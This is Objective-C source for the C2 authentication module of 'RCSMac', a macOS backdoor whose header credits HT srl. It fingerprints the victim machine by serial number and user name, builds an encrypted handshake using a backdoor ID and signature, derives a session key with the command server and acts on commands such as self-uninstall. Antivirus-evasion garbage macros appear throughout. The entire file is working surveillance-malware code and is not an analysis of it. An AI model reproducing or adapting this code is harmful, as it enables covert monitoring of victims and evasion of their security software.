core/Modules/AuthNetworkOperation.m
/*
* RCSMac - Authentication Network Operation
*
*
* Created by revenge on 13/01/2011
* Copyright (C) HT srl 2011. All rights reserved
*
*/
#import "RCSMCommon.h"
#import "AuthNetworkOperation.h"
#import "RCSMTaskManager.h"
#import "NSMutableData+AES128.h"
#import "NSString+SHA1.h"
#import "NSData+SHA1.h"
#import "RCSMGlobals.h"
#import "RCSMLogger.h"
#import "RCSMDebug.h"
#import "RCSMAVGarbage.h"
@implementation AuthNetworkOperation
- (id)initWithTransport: (RESTTransport *)aTransport
{
if (self = [super init])
{
mBackdoorSignature = [[NSData alloc] initWithBytes: gBackdoorSignature
length: CC_MD5_DIGEST_LENGTH];
// AV evasion: only on release build
AV_GARBAGE_000
mTransport = aTransport;
// AV evasion: only on release build
AV_GARBAGE_000
return self;
}
return nil;
}
- (void)dealloc
{
[mBackdoorSignature release];
//[mTransport release];
[super dealloc];
}
- (BOOL)perform
{
NSAutoreleasePool *outerPool = [[NSAutoreleasePool alloc] init];
// AV evasion: only on release build
AV_GARBAGE_000
u_int randomNumber, i;
srandom(time(NULL));
// AV evasion: only on release build
AV_GARBAGE_005
char nullTerminator = 0x00;
NSMutableData *kd = [[NSMutableData alloc] init];
NSMutableData *nOnce = [[NSMutableData alloc] init];
// AV evasion: only on release build
AV_GARBAGE_000
//
// Generate kd (16 bytes)
//
for (i = 0; i < 16; i += 4)
{
randomNumber = random();
// AV evasion: only on release build
AV_GARBAGE_006
[kd appendBytes: (const void *)&randomNumber
length: sizeof(randomNumber)];
}
//
// Generate nonce (16 bytes)
//
for (i = 0; i < 16; i += 4)
{
randomNumber = random();
// AV evasion: only on release build
AV_GARBAGE_007
[nOnce appendBytes: (const void *)&randomNumber
length: sizeof(randomNumber)];
// AV evasion: only on release build
AV_GARBAGE_005
}
// AV evasion: only on release build
AV_GARBAGE_000
NSData *confKey = [NSData dataWithBytes: &gConfAesKey
length: CC_MD5_DIGEST_LENGTH];
// AV evasion: only on release build
AV_GARBAGE_002
CFStringRef serialNumber;
getSystemSerialNumber(&serialNumber);
// AV evasion: only on release build
AV_GARBAGE_003
NSMutableString *_instanceID = [[NSMutableString alloc] initWithString: (NSString *)serialNumber];
CFRelease(serialNumber);
// AV evasion: only on release build
AV_GARBAGE_004
NSString *userName = NSUserName();
// AV evasion: only on release build
AV_GARBAGE_005
[_instanceID appendString: userName];
// AV evasion: only on release build
AV_GARBAGE_006
NSData *instanceID = [_instanceID sha1Hash];
// AV evasion: only on release build
AV_GARBAGE_007
[_instanceID release];
// AV evasion: only on release build
AV_GARBAGE_008
//XXX- check for the null terminator
NSMutableData *backdoorID = [[NSMutableData alloc] init];
// AV evasion: only on release build
AV_GARBAGE_009
[backdoorID appendBytes: &gBackdoorID
length: strlen(gBackdoorID)];
// AV evasion: only on release build
AV_GARBAGE_001
[backdoorID appendBytes: &nullTerminator
length: sizeof(char)];
// AV evasion: only on release build
AV_GARBAGE_008
[backdoorID appendBytes: &nullTerminator
length: sizeof(char)];
// AV evasion: only on release build
AV_GARBAGE_004
NSMutableData *type;
// AV evasion: only on release build
AV_GARBAGE_005
// FIXED-
if (gIsDemoMode)
type = [[NSMutableData alloc] initWithData:
[@"OSX-DEMO" dataUsingEncoding: NSASCIIStringEncoding]];
else
type = [[NSMutableData alloc] initWithData:
[@"OSX" dataUsingEncoding: NSASCIIStringEncoding]];
// AV evasion: only on release build
AV_GARBAGE_006
int typeLen = 16 - [type length];
// AV evasion: only on release build
AV_GARBAGE_007
for (i = 0; i < typeLen; i++)
{
[type appendBytes: &nullTerminator
length: sizeof(char)];
}
// AV evasion: only on release build
AV_GARBAGE_009
//
// Generate id token sha1(backdoor_id + instance + subtype + confkey)
//
NSMutableData *idToken = [[NSMutableData alloc] init];
[idToken appendData: backdoorID];
// AV evasion: only on release build
AV_GARBAGE_006
[idToken appendData: instanceID];
// AV evasion: only on release build
AV_GARBAGE_003
[idToken appendData: type];
// AV evasion: only on release build
AV_GARBAGE_009
[idToken appendData: confKey];
// AV evasion: only on release build
AV_GARBAGE_007
NSData *shaIDToken = [idToken sha1Hash];
// AV evasion: only on release build
AV_GARBAGE_001
// Prepare the encrypted message
NSMutableData *message = [[NSMutableData alloc] init];
[message appendData: kd];
// AV evasion: only on release build
AV_GARBAGE_005
[message appendData: nOnce];
[message appendData: backdoorID];
// AV evasion: only on release build
AV_GARBAGE_003
[message appendData: instanceID];
[message appendData: type];
// AV evasion: only on release build
AV_GARBAGE_001
[message appendData: shaIDToken];
// AV evasion: only on release build
AV_GARBAGE_000
NSMutableData *encMessage = [[NSMutableData alloc] initWithData: message];
// AV evasion: only on release build
AV_GARBAGE_006
[encMessage encryptWithKey: mBackdoorSignature];
// AV evasion: only on release build
AV_GARBAGE_002
//
// Send encrypted message
//
NSURLResponse *urlResponse = nil;
NSData *replyData = nil;
// AV evasion: only on release build
AV_GARBAGE_009
replyData = [mTransport sendData: encMessage
returningResponse: urlResponse];
// AV evasion: only on release build
AV_GARBAGE_003
if ([replyData length] != 64)
{
// AV evasion: only on release build
AV_GARBAGE_004
[kd release];
[nOnce release];
// AV evasion: only on release build
AV_GARBAGE_004
[backdoorID release];
[type release];
[idToken release];
[message release];
// AV evasion: only on release build
AV_GARBAGE_003
[encMessage release];
[outerPool release];
// AV evasion: only on release build
AV_GARBAGE_004
return NO;
}
// AV evasion: only on release build
AV_GARBAGE_000
// first 32 bytes are the Ks choosen by the server
// decrypt it and store to create the session key along with Kd and Cb
NSMutableData *ksCrypted = [[NSMutableData alloc] initWithBytes: [replyData bytes]
length: 32];
// AV evasion: only on release build
AV_GARBAGE_003
[ksCrypted decryptWithKey: mBackdoorSignature];
// AV evasion: only on release build
AV_GARBAGE_005
NSData *ks = [[NSData alloc] initWithBytes: [ksCrypted bytes]
length: CC_MD5_DIGEST_LENGTH];
// AV evasion: only on release build
AV_GARBAGE_006
[ksCrypted release];
// AV evasion: only on release build
AV_GARBAGE_000
NSString *ksString = [[NSString alloc] initWithData: ks
encoding: NSUTF8StringEncoding];
// AV evasion: only on release build
AV_GARBAGE_004
// calculate the session key -> K = sha1(Cb || Ks || Kd)
// we use a schema like PBKDF1
// remember it for the entire session
NSMutableData *sessionKey = [[NSMutableData alloc] init];
// AV evasion: only on release build
AV_GARBAGE_003
[sessionKey appendData: confKey];
// AV evasion: only on release build
AV_GARBAGE_008
[sessionKey appendData: ks];
// AV evasion: only on release build
AV_GARBAGE_009
[sessionKey appendData: kd];
// AV evasion: only on release build
AV_GARBAGE_008
gSessionKey = [[NSMutableData alloc] initWithData: [sessionKey sha1Hash]];
// AV evasion: only on release build
AV_GARBAGE_004
// second part of the server response contains the NOnce and the response
// extract the NOnce and check if it is ok
// this MUST be the same NOnce sent to the server, but since it is crypted
// with the session key we know that the server knows Cb and thus is trusted
NSMutableData *secondPartResponse;
@try
{
// AV evasion: only on release build
AV_GARBAGE_006
secondPartResponse = [[NSMutableData alloc] initWithData:
[replyData subdataWithRange:
NSMakeRange(32, [replyData length] - 32)]];
// AV evasion: only on release build
AV_GARBAGE_003
}
@catch (NSException *e)
{
// AV evasion: only on release build
AV_GARBAGE_001
return NO;
}
// AV evasion: only on release build
AV_GARBAGE_006
[secondPartResponse decryptWithKey: gSessionKey];
// AV evasion: only on release build
AV_GARBAGE_000
NSData *rNonce = [[NSData alloc] initWithBytes: [secondPartResponse bytes]
length: 16];
// AV evasion: only on release build
AV_GARBAGE_009
if ([nOnce isEqualToData: rNonce] == NO)
{
// AV evasion: only on release build
AV_GARBAGE_003
return NO;
}
NSData *_protoCommand;
uint32_t protoCommand;
// AV evasion: only on release build
AV_GARBAGE_003
@try
{
// AV evasion: only on release build
AV_GARBAGE_004
_protoCommand = [[NSData alloc] initWithData:
[secondPartResponse subdataWithRange: NSMakeRange(16, 4)]];
// AV evasion: only on release build
AV_GARBAGE_003
[_protoCommand getBytes: &protoCommand
range: NSMakeRange(0, sizeof(int))];
// AV evasion: only on release build
AV_GARBAGE_001
}
@catch (NSException *e)
{
// AV evasion: only on release build
AV_GARBAGE_003
return NO;
}
// AV evasion: only on release build
AV_GARBAGE_008
[kd release];
[nOnce release];
// FIXED-
[backdoorID release];
[type release];
//
[idToken release];
[message release];
[encMessage release];
[ks release];
// AV evasion: only on release build
AV_GARBAGE_000
[ksString release];
[sessionKey release];
[secondPartResponse release];
[rNonce release];
// AV evasion: only on release build
AV_GARBAGE_006
[outerPool release];
// AV evasion: only on release build
AV_GARBAGE_004
switch (protoCommand)
{
case PROTO_OK:
{
#ifdef DEBUG_AUTH_NOP
infoLog(@"Auth Response OK");
#endif
} break;
case PROTO_UNINSTALL:
{
#ifdef DEBUG_AUTH_NOP
infoLog(@"Uninstall");
#endif
__m_MTaskManager *taskManager = [__m_MTaskManager sharedInstance];
[taskManager uninstallMeh];
} break;
case PROTO_NO:
default:
{
#ifdef DEBUG_AUTH_NOP
errorLog(@"Received command: %d", protoCommand);
#endif
[_protoCommand release];
return NO;
} break;
}
// AV evasion: only on release build
AV_GARBAGE_003
[_protoCommand release];
// AV evasion: only on release build
AV_GARBAGE_001
return YES;
}
@end